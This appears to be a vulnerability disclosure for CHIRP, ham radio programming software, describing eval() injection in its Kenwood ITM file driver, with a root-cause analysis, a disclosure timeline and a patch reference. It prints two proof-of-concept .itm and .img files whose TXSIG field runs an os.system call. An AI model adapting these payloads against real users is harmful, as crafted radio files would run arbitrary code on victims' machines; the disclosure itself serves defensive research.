cduram/chirp-codeexecution_via_malicious_imagefileProof-of-concept exploit for arbitrary code execution through eval() injection in a ham radio programming application, including malicious .itm/.img file payloads and root-cause analysis.
eval() in Kenwood ITM DriverProduct: CHIRP - An open-source project for programming Ham Radios.
Affected Versions:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Affected Versions: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)
CHIRP's Kenwood ITM file format driver passes raw CSV field values from an opened file directly to Python's built-in eval() with no validation. An attacker who delivers a crafted file to a CHIRP user achieves arbitrary code execution as the victim user.
chirp/drivers/kenwood_itm.py, , lines 66–67:
_clean_tmode()def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
The TXSIG and RXSIG values come directly from a CSV row in the opened file. No type check, allowlist, or sandboxing is applied before eval().
Below are two POCs.
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. If using the .itm payload, change the filter dropdown to "All Files" (ITM is not filtered for in CHIRP).{file_name}.itm.2026-8-17 -- Vulnerability discovered
2026-8-17 -- E-mailed maintainer
2026-8-17 -- Maintainer responded and code fixed the same day. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- Installer release 20260821 includes the fix.
2026-8-22 -- NotCVE-2026-0013 issued.
2026-8-23 -- CVE-2026-78136 issued.